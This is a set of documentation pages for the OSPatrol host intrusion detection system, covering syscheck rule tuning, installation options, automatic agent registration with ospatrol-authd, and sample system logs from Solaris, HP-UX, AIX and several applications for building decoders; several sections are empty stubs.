This overwrites the default rule 554. Set the level to a number that fits your organization’s policies.


After making these changes, restart the server’s OSPatrol processes.


Customizing this a bit more is also possible. For instance we set 554 to level 2 so it is logged but will not send an email alert:


<rule id="554" level="2" overwrite="yes">
  <category>ospatrol</category>
  <decoded_as>syscheck_new_entry</decoded_as>
  <description>File added to the system.</description>
  <group>syscheck,</group>
</rule>






Next, we create a rule to alert at a level 10 for new files being created in /var/www/htdocs/CEO/files:


<rule id="111554" level="10">
  <if_sid>554</if_sid>
  <match>/var/www/htdocs/CEO/files</match>
  <description>New file in the CEO's personal stash.</description>
</rule>






Now if a new file is created in /var/www/htdocs/CEO/files you will be alerted.





Ignore a directory:


Sometimes it’s necessary to ignore a directory or file so the syscheck alerts are not overwhelming.


Ignoring a directory or file is another easy task in OSPatrol.
In the <syscheck> section of an OSPatrol system’s ospatrol.conf you should see a number of examples:


<ignore>/etc/mtab</ignore>
<ignore>/etc/mnttab</ignore>
<ignore>/etc/hosts.deny</ignore>
<ignore>/etc/mail/statistics</ignore>
<ignore>/etc/random-seed</ignore>
<ignore>/etc/adjtime</ignore>
<ignore>/etc/httpd/logs</ignore>
<ignore>/etc/utmpx</ignore>
<ignore>/etc/wtmpx</ignore>
<ignore>/etc/cups/certs</ignore>
<ignore>/etc/dumpdates</ignore>
<ignore>/etc/svc/volatile</ignore>






Adding individual files is as simple as listing them inside of the <ignore> tags.
In the following example we’re ignoring /var/lib/ntp/drift which is a file that may change frequently.


<ignore>/var/lib/ntp/drift</ignore>






One of my systems has a backup directory in /var/backups.
The contents of this directory can change frequently, so I would like to ignore these alerts.
I can use the following sregex to ignore all changes in that directory:


<ignore type="sregex">^/var/backups</ignore>






Changes to files in /var/www/var/backups or any other monitored directory will still cause alerts.
This sregex only limits the ignore to files in /var/backups.





Configure realtime syscheck:


Syscheck’s realtime option can be quite useful for very important directories.
By default the realtime option is not used, and it is only available on Linux and Windows.


To enable this option, add realtime="yes" to an appropriate <directories entry.
This :


<directories check_all="yes">/bin</directories>






becomes this:


<directories check_all="yes" realtime="yes">/bin</directories>









Scenarios:


Scenario 1: Ignore a file on 1 host:


Crazy Carl has written an application that stores its logs in /usr/bin/logs/crazy_abels_crazy_app.log, and admin Abel is tired of seeing alerts for that file changing. Abel has decided to ignore the file instead of fixing the application since Carl is the CEO’s nephew. He adds the following in the <syscheck> section of the agent’s ospatrol.conf:


<ignore>/usr/bin/logs/crazy_abels_crazy_app.log</ignore>






He then restarts the OSPatrol processes on the agent and goes out for a margarita.


Scenario 2: Universally ignore a file:


Crazy Carl has installed his crazy application on all of the servers, so now Abel’s getting syscheck alerts again. He decides to put a stop to it once and for all.
He adds the <ignore> option to the OSPatrol server’s ospatrol.conf in the <syscheck> section:


<ignore>/usr/bin/logs/crazy_abels_crazy_app.log</ignore>






He then restarts the OSPatrol processes on the OSPatrol server starts season 2 of The IT Crowd [http://www.imdb.com/title/tt0487831/].


Scenario 3: Ignore a directory:


Crazy Carl has developed a few more applications, and continues to write their logs to /usr/bin/logs. Abel is yet again tired of seeing the alerts, and decides to ignore the entire directory by adding the following to the OSPatrol server’s ospatrol.conf:


<ignore type="sregex">^/usr/bin/logs</ignore>






He then resarts the OSPatrol processes on the OSPatrol server and laughs maniacly as he waits for Carl to strike again.
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OSPatrol 101: Installation



What are the different types of installations?



		local - A local installation includes everything necessary to monitor a single system. For local installations an agent is not necessary. Most of the documentation for the server installation is also applicable to the local install.


		server - A server installation is useful for monitoring multiple systems. It helps centralize configuration and analysis. Agents pass log messages and syscheck information to the server for analysis. OSPatrol servers are often referred to as managers to help avoid confusion. Servers should always have agents associated with them. A server install requires a unix-like system, various Linux distributions being the best tested.


		agent - An agent is a client system being monitored by an OSPatrol manager. The OSPatrol agent processes will forward information to the manager for analysis. Agents can be unix-like systems or Windows systems.


		agentless - This isn’t really a type os OSPatrol installation, but an option for monitoring embedded systems, or other systems a full OSPatrol installation doesn’t make sense.


		hybrid - A hybrid installation is both a server and an agent. This allows for a tiered architecture of agents pushing to servers which forward alerts on to other servers for consolidation.








What type of installation should I perform ...



		This depends on what your requirements are.


		
		Is this a standalone system? local


		Do you want to monitor a large number of systems from a central location? Install a central server and perform agent installations on the clients.


		Windows system? agent














What type of installation should I perform on my single webserver?


If you are installing OSPatrol on only one system you should use the local installation. You will not need to add an agent or perform any other installations.





What are the installation pre-requisites?


The installation pre-requisites are pretty simple and depend on the type of installation.
All installation types require gcc and the basic development libraries.


Server and local installs may require either MySQL or PostgreSQL client libraries if you plan on logging to a database.
The OpenSSL development libraries are required for ospatrol-authd support.


Agent installs require the OpenSSL development libraries for agent-auth support.


Hybrid installs require everything the server and agent installs require.


Prelude output will require the prelude development libraries.





Debian packages:


build-essential make [libssl-dev] [libmysqlclient-dev] [libpq-dev] [XXX prelude libs] [XXX inotify stuff]









Redhat Enterprise Linux/CentOS packages:


gcc inotify-tools-devel XXX









Solaris 8, 9, 10:


SUNWxcu4 SUNWsprot SUNWtoo SUNWbtool






SUNWxcu4 will create /usr/xpg4/bin/. Also make sure you have /usr/ccs/bin/make and /usr/ucb/bin/cc (compiler).





Mac OS X Lion issues:


OS X Lion primarily uses llvm for compilation, but there appears to be an issue with the inline assembly support.
Use gcc to compile OSPatrol.





OpenBSD:


A default installation of OpenBSD should include everything necessary to perform an installation of OSPatrol.





Installation Walk Throughs:




		OSPatrol 101: Server Installation
		Things to keep in mind:


		Installation process:


		Adding an agent:








		OSPatrol 101: Installing a Linux Agent
		Things to keep in mind:


		Installation process:


		Exporting the agent key:


		Importing the agent key:








		OSPatrol 101: Install Windows Agent:
		Installation:


		Silent Installation:


		Importing the agent key:








		OSPatrol 101: Local Installation
		Why you may want a local installation:


		Forwarding alerts to another OSPatrol system:
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OSPatrol 101: rootcheck:
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OSPatrol 101: Decoders



This section will explain OSPatrol decoders.




Understanding the decoders:





Creating a decoder:





Configure the system to use the new decoder:








          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

ospatrol101/authd.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
OSPatrol 101: authd


ospatrol-authd and agent-auth are two OSPatrol applications to automatically register an agent.
ospatrol-authd is the server side daemon, and agent-auth runs on the agent.



Running ospatrol-authd:


There aren’t many options for ospatrol-authd.
It’s generally recommended that ospatrol-authd is only run when adding new agents due to the lack of authentication.


An SSL certificate is required, and should be installed at /var/ospatrol/etc/sslmanager.cert.


Running ospatrol-authd can be as simple as:


/var/ospatrol/bin/ospatrol-authd -p 1515






In this example ospatrol-authd listens on port 1515 for client connections.





Running agent-auth:


agent-auth does not have many options either. Running it can be as simple as:


/var/ospatrol/bin/agent-auth -m 10.10.10.10 -p 1515






Adding an agent name with -A agent_name may also be useful.





Considerations:


Currently ospatrol-authd and agent-auth do not authenticate the other side.
The communication is encrypted, but there is nothing stopping an attacker with
access to the ospatrol-authd port from registering fake agents.





Scenario:


On a Tuesday Adele’s boss Steve asks her to add the new database servers to the OSPatrol infrastructure. Adele didn’t want to go to each of the 12 systems to configure everything from scratch, so she decided to use ospatrol-authd to automatically register the new systems.


Adele added an SSL certificate to the OSPatrol server by running:


# openssl genrsa -out /var/ospatrol/etc/sslmanager.key 2048
# openssl req -new -x509 -key /var/ospatrol/etc/sslmanager.key -out /var/ospatrol/etc/sslmanager.cert -days 365






Then she ran ospatrol-authd to listen on port 2157:


# /var/ospatrol/bin/ospatrol-authd -p 2157






Next Adele used the existing management infrastructure to install OSPatrol agents on each of the systems, and if /var/ospatrol/etc/client.keys did not exist to run /var/ospatrol/bin/agent-auth with the following command:


# /var/ospatrol/bin/agent-auth -m 192.168.29.46 -p 2157
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OSPatrol 101:




		OSPatrol 101: Introduction
		What is OSPatrol 101?


		Who is the target audience?


		What do I need to use OSPatrol?








		OSPatrol 101: Installation
		What are the different types of installations?


		What type of installation should I perform ...


		What type of installation should I perform on my single webserver?


		What are the installation pre-requisites?


		Debian packages:


		Redhat Enterprise Linux/CentOS packages:


		Solaris 8, 9, 10:


		Mac OS X Lion issues:


		OpenBSD:


		Installation Walk Throughs:
		OSPatrol 101: Server Installation


		OSPatrol 101: Installing a Linux Agent


		OSPatrol 101: Install Windows Agent:


		OSPatrol 101: Local Installation














		OSPatrol 101: Managing Agents
		Monitoring a log file:
		What log files does OSPatrol monitor by default:


		Additional files to monitor:


		Monitoring /var/log/messages:


		Monitoring /var/log/apache/access_log:


		Windows localfiles:








		Monitoring a command:
		Monitoring the listening ports on a system:


		Check the RPM database for changes in the installed applications:








		manage_agents:
		Available actions on the manager:


		Adding an agent:


		Creating the key on the server:


		Viewing a list of the agents:


		Removing an agent:


		manage_agents on an agent:


		Using manage_agents at the command line:














		OSPatrol 101: authd
		Running ospatrol-authd:


		Running agent-auth:


		Considerations:


		Scenario:








		OSPatrol 101: Tuning Syscheck:
		Alert on new files:


		Ignore a directory:


		Configure realtime syscheck:


		Scenarios:








		OSPatrol 101: Rule Tuning
		Understanding the rules:


		Creating a rule:


		Configure the system to use the new rule:


		Those CDB things would really be useful here:








		OSPatrol 101: Decoders
		Understanding the decoders:


		Creating a decoder:


		Configure the system to use the new decoder:








		OSPatrol 101: Alert Output:
		Logfile:


		Email:


		Syslog:


		Database:


		Prelude:


		CEF:








		OSPatrol 101: Front Ends:
		Options:








		OSPatrol 101: Troubleshooting problems
		Scenario 1
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OSPatrol 101: Alert Output:


OSPatrol has a number of output options for alerts.



Logfile:





Email:




		GeoIP












Syslog:





Database:




		MySQL


		PostgreSQL












Prelude:





CEF:
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ospatrol 101: logfile output


By default ospatrol will output alerts to a logfile located at /var/ospatrol/logs/alerts/alerts.log.
The alert format is multi-line, and the exact information will vary based on the alert.


The alerts.log file rotates every day at midnight, and is saved to /var/ospatrol/logs/alerts/YYYY/mm/ospatrol-alerts-dd.log.gz.
The MD5 of the logfile is stored in /var/ospatrol/logs/alerts/YYYY/mm/ospatrol-alerts-dd.log.sum.



Options:


There are currently no options associated with the alerts.log





Log sample:


** Alert 1345225879.4882: - syslog,sudo
2012 Aug 17 13:51:19 arrakis->/var/log/secure
Rule: 5402 (level 3) -> 'Successful sudo to ROOT executed'
User: ddp
2012-08-17T13:51:19.415746-04:00 arrakis sudo:      ddp : TTY=ttyp3 ; PWD=/home/ddp ; USER=root ; COMMAND=/usr/sbin/pkg_add -ui

** Alert 1345226469.5197: - ospatrol,
2012 Aug 17 14:01:09 arrakis->ospatrol-logcollector
Rule: 591 (level 3) -> 'Log file rotated.'
ospatrol: File rotated (inode changed): '/var/log/messages'.
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OSPatrol 101: Front Ends:



Options:
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OSPatrol 101: email output



Options:





Log sample:
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AirSnare


http://home.comcast.net/~jay.deboer/airsnare/


1/27/2007 4:48:46 PM  0006255E85A5    66.249.81.102    =SSL(SHTML)=>  000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1      =DNS=>         000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     0 ==> 0 000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     IP Assignment to Source 000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    65.173.218.96    =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     0 ==> 0 000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     IP Assignment to Source 000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    65.173.218.96    =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     0 ==> 0 000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     IP Assignment to Source 000D28DF711E    192.168.1.110
1/27/2007 4:48:46 PM  0006255E85A5    192.168.1.1     0 ==> 0 000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    192.168.1.1     IP Assignment to Source 000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    192.168.1.1     0 ==> 0 000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    192.168.1.1     IP Assignment to Source 000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    192.168.1.1     0 ==> 0 000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    192.168.1.1     IP Assignment to Source 000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    66.249.81.102    =SSL(SHTML)=>  000D28DF711E    192.168.1.110
1/27/2007 4:48:47 PM  0006255E85A5    66.102.7.104     =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:48:48 PM  0006255E85A5    192.168.1.1      =DNS=>         000D28DF711E    192.168.1.110
1/27/2007 4:48:49 PM  0006255E85A5    216.109.119.252  =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:48:50 PM  0006255E85A5    66.249.81.102    =SSL(SHTML)=>  000D28DF711E    192.168.1.110
1/27/2007 4:48:50 PM  0006255E85A5    66.102.7.104     =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:49:12 PM  0006255E85A5    192.168.1.1      =DNS=>         000D28DF711E    192.168.1.110
1/27/2007 4:49:13 PM  0006255E85A5    216.239.53.91    =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:49:33 PM  0006255E85A5    66.249.81.102    =SSL(SHTML)=>  000D28DF711E    192.168.1.110
1/27/2007 4:49:35 PM  0006255E85A5    65.173.218.96    =WEB=>         000D28DF711E    192.168.1.110
1/27/2007 4:49:36 PM  0006255E85A5    66.249.81.102    =SSL(SHTML)=>  000D28DF711E    192.168.1.110
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Log Samples from Solaris 8/9


Solaris doesn’t include the source server name in their Syslog message.  So you can’t forward Solaris Syslog message directly to Ossec.


The Problem: The problem exists in the way, the Syslog messages are formatted from Solaris 8/9. As an example, we take the following sample Syslog message:


Aug  2 11:49:23 su: [ID 366847 auth.info] 'su root' succeeded for root on /dev/console






This message is missing the source, which has to be before the Syslogtag, as it is defined in RFC3164. So correctly, the Syslog would have to look like this:


Aug  2 11:49:23 mymaschine su: [ID 366847 auth.info] 'su root' succeeded for root on /dev/console






In order to format the Syslog message to be compliant with RFC3164, you need to set-up Syslog-ng and forward the Syslog message to it.  Make sure you change the syslog receiving port of ossec or syslog-ng.



SU:


Dec 12 00:00:00 machinename su: [ID 366847 auth.info] 'su oracle' succeeded for root on /dev/???

Dec 12 00:23:28 machinename su: [ID 366847 auth.info] 'su oracle' failed for root on /dev/???









SENDMAIL:


Dec 12 00:00:02 machinename sendmail[20512]: [ID 801593 mail.info] kBC502520512: from=root, size=301, class=0, nrcpts=1, msgid=<200612120500.kBC502520512@name.domain.com>, relay=root@localhost

Dec 12 00:00:03 machinename sendmail[20514]: [ID 801593 mail.info] kBC502520512: to=root, ctladdr=root (0/1), delay=00:00:01, xdelay=00:00:01, mailer=local, pri=120301, relay=local, dsn=2.0.0, stat=Sent









SSHD:


Dec 12 00:10:55 machinename sshd[21698]: [ID 800047 auth.info] User blablabla not allowed because account is locked

Dec 12 00:10:55 machinename sshd[21698]: [ID 800047 auth.info] Failed none for invalid user blablabla from 192.168.0.1 port 40410 ssh2

Dec 12 00:10:55 machinename sshd[21698]: [ID 800047 auth.info] Failed password for invalid user blablabla from 192.168.0.1 port 40410 ssh2

Dec 12 09:33:48 machinename sshd[18195]: [ID 800047 auth.info] Failed keyboard-interactive for blablabla from 192.168.0.1 port 1530 ssh2

Dec 12 09:33:50 machinename sshd[18195]: [ID 800047 auth.info] Accepted password for blablabla from 192.168.0.1 port 1530 ssh2

Dec 12 23:59:54 machinename sshd[24191]: [ID 800047 auth.info] User blablabla not allowed because account is locked

Dec 12 09:33:25 machinename sshd[18094]: [ID 800047 auth.info] User blablabla password has expired (root forced)

Dec 12 01:30:04 machinename sshd[11819]: [ID 800047 auth.info] Accepted publickey for blablabla from 192.168.0.1 port 4527 ssh2

Dec 12 01:30:04 machinename sshd[11821]: [ID 800047 auth.info] subsystem request for sftp

Dec 12 01:30:06 machinename sshd[15907]: [ID 800047 auth.info] Postponed publickey for blablabla from 192.168.0.1 port 4528 ssh2

Dec 12 08:00:03 machinename sshd[3399]: [ID 800047 auth.info] Authentication tried for root with correct key but not from a permitted host (host=hostname, ip=10.11.10.8).









FTP:


Dec 12 01:09:29 machinename inetd[301]: [ID 317013 daemon.notice] ftp[8378] from 192.168.0.1 25143

Dec 12 01:22:23 machinename inetd[301]: [ID 317013 daemon.notice] ftp[10504] from 192.168.0.1 6719









IN.FTPD:


Dec 12 01:09:29 machinename in.ftpd[8378]: [ID 373804 daemon.info] connection from name.domain.com at Tue Dec 12 01:09:29 2006

Dec 12 01:22:24 machinename in.ftpd[10504]: [ID 373804 daemon.info] connection from name.domain.com at Tue Dec 12 01:22:24 2006









NAMED-XFER:


Dec 12 02:23:45 machinename named-xfer[9924]: [ID 140103 daemon.info] send AXFR query 0 to 192.168.0.1

Dec 12 03:13:10 machinename named-xfer[368]: [ID 140103 daemon.info] send AXFR query 0 to 192.168.0.1









NAMED:


Dec 12 03:13:10 machinename named[311]: [ID 295310 local2.warning] default: warning: owner name "name.domain.com" IN (secondary) is invalid - proceeding anyway









LIMDAEMON:


Dec 12 07:27:49 machinename limdaemon: [ID 701944 user.notice] login by blablabla (pid=24835,cost=1)

Dec 12 07:27:52 machinename limdaemon: [ID 709948 user.notice] logout by blablabla (pid=24835)









PROFTPD:


Dec 12 07:40:32 machinename proftpd[16601]: [ID 567783 daemon.info] qcdevasq (name.domain.com[192.168.0.1]) - FTP session opened.

Dec 12 07:40:32 machinename proftpd[16601]: [ID 567783 auth.notice] qcdevasq (name.domain.com[192.168.0.1]) - USER blablabla: Login successful.

Dec 12 07:40:32 machinename proftpd[16601]: [ID 567783 daemon.info] qcdevasq (name.domain.com[192.168.0.1]) - FTP session closed.

Dec 12 09:33:46 machinename proftpd[20958]: [ID 567783 daemon.info] qcmtlasi (name.domain.com[192.168.0.1]) - FTP session closed.









FTPD:


Dec 12 07:41:11 machinename ftpd[10209]: [ID 210975 daemon.info] ANONYMOUS FTP LOGIN FROM name.domain.com [192.168.0.1], blablabla









LOGIN:


Dec 12 08:43:50 machinename login: [ID 507249 auth.notice] Login failure on /dev/pts/7 from name.domain.com, blablabla









BSM:


Some information about BSM:


http://seclab.cs.ucdavis.edu/projects/misuse/prototypes/bsm.html
http://abelew.web.wesleyan.edu/bsmaudit1.html


Nov 21 15:12:56 unknown audit: [ID 905220 audit.notice] system booted text booting kernel
Nov 21 15:16:22 unknown audit: [ID 984917 audit.notice] login - telnet failed session 2740580090 by root as root:root from 1.254.168.192
Nov 21 15:16:34 unknown audit: [ID 120101 audit.notice] login - telnet failed session 1843523234 by -1 as -1:-1 from 1.254.168.192
Nov 21 15:37:24 unknown audit: [ID 338777 audit.notice] login - telnet failed session 3312149268 by root as root:root from 1.254.168.192
Nov 21 15:43:26 unknown audit: [ID 905220 audit.notice] system booted text booting kernel
Nov 21 15:44:11 unknown audit: [ID 216919 audit.notice] login - local ok session 627 by root as root:root from pc1305a.etri.re.kr text
Nov 21 15:45:14 unknown audit: [ID 866727 audit.notice] su ok session 3668504681 by kanthi as root:other from 1.254.168.192 text success for user root
Nov 21 15:49:34 unknown audit: [ID 702844 audit.notice] su ok session 2714481116 by kanthi as root:other from 1.254.168.192 text success for user root
Nov 21 15:50:35 unknown audit: [ID 816908 audit.notice] ftp access failed session 858 by root as root:root from 1.254.168.192 text excluded user
Nov 21 15:50:37 unknown audit: [ID 887505 audit.notice] ftp access failed session 858 by root as root:root from 1.254.168.192 text misc failure
Nov 21 16:04:32 unknown audit: [ID 905220 audit.notice] system booted text booting kernel
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Log Samples from HP-UX



File system full:


Sep  3 10:18:11 sys2 vmunix: msgcnt 1 vxfs: mesg 001: vx_nospace - /dev/vg00/lvol3 file system full (1 block extent)
Sep  3 10:18:52 sys2 vmunix: msgcnt 3 vxfs: mesg 001: vx_nospace - /dev/vg00/lvol3 file system full (1 block extent)
Sep  3 10:18:37 sys2 vmunix: msgcnt 5 vxfs: mesg 001: vx_nospace - /dev/vg00/lvol3 file system full (1 block extent)
Sep  3 10:19:13 sys2 vmunix: msgcnt 7 vxfs: mesg 001: vx_nospace - /dev/vg00/lvol3 file system full (1 block extent)









EMS logs:


Jul 19 15:53:01 lime EMS [6259]: ------ EMS Event Notification ------ Value: "CRITICAL (5)" for Resource: "/system/events/ipmi_fpl/ipmi_fpl" (Threshold:  >= " 3")    Execute the following command to obtain event details:   /opt/resmon/bin/resdata -R 410189826 -r /system/events/ipmi_fpl/ipmi_fpl -n 410189825 -a

Jul 19 15:58:03 lime EMS [6259]: ------ EMS Event Notification ------ Value: "MAJORWARNING (3)" for Resource: "/system/events/ipmi_fpl/ipmi_fpl" (Threshold:  >= " 3")    Execute the following command to obtain event details:   /opt/resmon/bin/resdata -R 410189826 -r /system/events/ipmi_fpl/ipmi_fpl -n 410189827 -a

Aug 24 11:54:12 grape2 vmunix: SCSI: Resetting SCSI -- lbolt: 27505, bus: 18 path: 1/0/0/3/1
Aug 24 11:54:12 grape2 vmunix: SCSI: Reset detected -- lbolt: 27505, bus: 18 path: 1/0/0/3/1
Aug 24 11:54:12 grape2 vmunix: SCSI: Parity error -- lbolt: 27806, dev: cb121002
Aug 24 11:54:12 grape2 vmunix:          lbolt_at_timeout: 0, lbolt_at_start: 0
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OSPatrol 101: Binary Agent Installation



Installation example:
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Log Samples from AIX



AIX SU:


Mar  2 15:14:36 WebServer1 su: BAD SU from 1.2.3.4 to root at /dev/pts/1









Examples AIX messages log:


Mar  6 11:09:27 webserver1 librmad[12906]: librmad Tue Mar  6 11:09:27 2007 /project/rm410/build/rm410/src/rm/rmeif/lib/rmad.c Line: 371, rmad_send_message, HRMRM0017E Message formatting failed with a return code of -1.
Mar  6 11:14:43 epopws1 xntpd[5676]: time reset (step) -0.199116 s









Examples AIX/IBM AccessManager request.log (weblog):


1.2.3.4 - Unauth [04/Mar/2007:00:03:11 +0100] "HEAD / HTTP/1.0" 200 0
2.3.4.5 - jMeter@is [04/Mar/2007:00:03:11 +0100] "GET /pkmslogout HTTP/1.1" 200 6691
3.4.5.6 - Unauth [04/Mar/2007:00:03:11 +0100] "GET /cin HTTP/1.1" 200 12272






*Examples of AIX ipsec logs:
.. code-block:: console



ipsec_logd: #:3 R:p  I:10.0.0.99 S:10.0.0.82 D:10.0.0.99     P:tcp/ack SP:50349 DP:22 R:l I:en0 F:n T:0 L:88
ipsec_logd: #:1 R:p  O:10.0.0.99. S:10.0.0.99 D:10.0.0.25     P:udp SP:2063 DP:53 R:l I:en0 F:n T:0 L:81






Examples of AIX sshd logins:


Apr  3 04:46:53 aixhostname sshd[21174]: Accepted publickey for user1 from 2.3.4.5 port 59663 ssh2
May 21 20:22:28 aixhostname sshd[21487]: Failed password for user2 from 2.3.4.5 port 1045 ssh2
May 21 20:22:29 aixhostname sshd[21489]: Invalid user admin from 2.3.4.5
Apr  6 08:11:12 <host> sshd[21900]: User <user> not allowed because not listed in AllowUsers
Apr  6 08:12:54 <host> syslog: ssh: failed login attempt for <user> from <host>
Apr  6 08:12:54 <host> sshd[6318]: Failed password for <host> from <host> port 59083 ssh2









AIX 5.3:


Apr 24 10:40:38 aix03srv auth|security:info sshd[475526]: Login restricted for tesu: You entered an invalid login name or password.
Apr 24 10:40:38 aix03srv auth|security:info sshd[475526]: Failed none for invalid user user1a from 127.0.0.1 port 58997 ssh2
Apr 24 10:40:43 aix03srv auth|security:info sshd[475526]: Failed password for invalid user usa1 from 127.0.0.1 port 58997 ssh2
Apr 24 10:40:43 aix03srv auth|security:info syslog: ssh: failed login attempt for UNKNOWN_USER from loopback
Apr 12 15:19:47 lpar1 auth|security:info sshd[368754]: Failed password for root from 10.1.5.20 port 54747 ssh2
Apr 12 15:19:47 lpar1 auth|security:info syslog: ssh: failed login attempt for root from csm01
Apr 12 15:19:47 lpar1auth|security:info sshd[774360]: Failed password for root from 10.1.5.20 port 54748 ssh2
Apr 12 15:19:47 lpar1 auth|security:info syslog: ssh: failed login attempt for root from csm01


Jul 23 12:59:35 freescale auth.info sshd[1816]: User igotre password has expired (root forced)
Jul 23 12:59:35 freescale  auth.info sshd[1816]: Accepted password for igotre from 10.1.20.9 port 36875 ssh2
Jul 23 12:59:35 freescale auth.err sshd[1820]: error: setlogin failed: Function not implemented
Jul 23 12:59:35 freescale auth.err sshd[1821]: error: open /dev/tty failed - could not set controlling tty: Permission denied
Jul 23 12:59:44 freescale auth.info passwd[1821]: password for `igotre' changed by user `igotre'
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OSPatrol 101: One Way Communication Installation


Sometimes communication with agents can only go one way.


make setoneway



Installation example:








          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

log_samples/misc/privoxy.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
Log Samples for Privoxy


http://www.privoxy.org



Note


The lines that conclude with the word “crunch!” indicate that some portion of the content was filtered by Privoxy.




Nov 04 15:07:58 Privoxy(00000f14) Request: config.privoxy.org/edit-actions-list?f=default.2.0 crunch!
Nov 04 15:07:58 Privoxy(00000164) Request: config.privoxy.org/send-stylesheet cgi call
Nov 04 15:07:58 Privoxy(00000164) Request: config.privoxy.org/send-stylesheet crunch!
Nov 04 15:12:38 Privoxy(0000089c) Request: suggestqueries.google.com/complete/search?output=firefox&client=firefox&qu=huge+pine+
Nov 04 15:12:50 Privoxy(00000628) Request: www.google.com/search?q=huge+pine+osx&ie=utf-8&oe=utf-8&rls=org.mozilla:en-US:official&client=firefox-a
Nov 04 15:12:59 Privoxy(00000968) Request: www.google.com/search?hs=SCm&hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=%22huge+pine%22+osx&btnG=Search
Nov 04 15:13:00 Privoxy(00000ec8) Request: o-o.resolver.71.70.171.16.9dbfac32b5f2804c.l.google.com/gen_204
Nov 04 15:13:10 Privoxy(00000780) Request: www.google.com/search?hs=vr6&hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=%22huge+pine%22+osx+usb&btnG=Search
Dec 28 19:03:22 Privoxy(00000c08) Info: Privoxy version 3.0.6
Dec 28 19:03:22 Privoxy(00000c08) Info: Program name: C:\Program Files\Privoxy\privoxy.exe
Dec 28 19:03:22 Privoxy(00000c08) Info: Listening on port 8118 for local connections only
Dec 28 19:40:08 Privoxy(00000250) Info: Privoxy version 3.0.6
Dec 28 19:40:08 Privoxy(00000250) Info: Program name: C:\Program Files\Privoxy\privoxy.exe
Dec 28 19:40:08 Privoxy(00000250) Info: Listening on port 8118 for local connections only
Dec 28 19:44:17 Privoxy(00000430) Request: www.javascript-page.com/jdate.html
Dec 28 19:44:18 Privoxy(00000d04) Request: www.javascript-page.com/jdate.gif










          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

ospatrol101/todo.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
		rule tuning


		decoders


		alert output


		front ends







          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

ospatrol101/rule_tuning.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
OSPatrol 101: Rule Tuning



This section will explain OSPatrol rules.
It will also provide a step by step process for creating new rules and decoders.




Understanding the rules:





Creating a rule:





Configure the system to use the new rule:





Those CDB things would really be useful here:
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Log Samples for ASSP



Sample log:


Jun-26-10 17:00:16 Info: hourly scheduler running at 17:00;
Jun-26-10 17:20:25 65624-06856 188.50.23.174 <mailuser@mysite.de> to: mailuser@mysite.de [scoring:10] -- IP in HELO does not match connection: '[188.49.27.228]' -- [Brand erection meds reseller];
Jun-26-10 17:20:25 65624-06856 [Whitish] 188.50.23.174 <mailuser@mysite.de> to: mailuser@mysite.de [scoring:-10] -- whitish address 'mailuser@mysite.de' -- [Brand erection meds reseller];
Jun-26-10 17:20:25 65624-06856 [ForgedLocalSender] 188.50.23.174 <mailuser@mysite.de> to: mailuser@mysite.de [spam found] -- Invalid Local Sender 'mailuser@mysite.de' -- [Brand erection meds reseller];
Jun-26-10 17:53:02 Cleaning up delaying databases ...;
Jun-26-10 17:53:02 Cleaning delaying database (triplets) finished; keys before=0, deleted=0;
Jun-26-10 17:53:02 Cleaning delaying database (safelisted tuplets) finished; keys before=0, deleted=0;
Jun-26-10 17:53:02 Cleaning up penalty records ...;
Jun-26-10 17:53:02 PenaltyBox: cleaning BlackBox finished; before=52, deleted=15;
Jun-26-10 17:53:02 PenaltyBox: cleaning WhiteBox finished; before=157, deleted=2;
Jun-26-10 17:53:02 Saving penalty records;
Jun-26-10 17:53:07 Cleaning up cache records ...;
Jun-26-10 17:53:07 DNSBLCache: cleaning cache finished; before=41, deleted=2;
Jun-26-10 17:53:07 URIBLCache: cleaning cache finished: Domains before=26, deleted=0;
Jun-26-10 17:53:07 PTRCache: cleaning cache finished; before=25, deleted=1;
Jun-26-10 17:53:07 MXACache: cleaning cache finished; before=17, deleted=0;
Jun-26-10 17:53:07 SenderBaseCache: cleaning cache finished; before=430, deleted=4;
Jun-26-10 17:53:07 OKCache: cleaning cache finished; before=18, deleted=1;
Jun-26-10 17:53:07 Saving cache records;
Jun-26-10 17:53:17 Saving whitelist;
Jun-26-10 17:53:17 Saving redlist;
Jun-26-10 17:54:22 Info: next assp version check download in 15 hours 32 mins ;
Jun-26-10 18:00:18 Info: hourly scheduler running at 18:00;
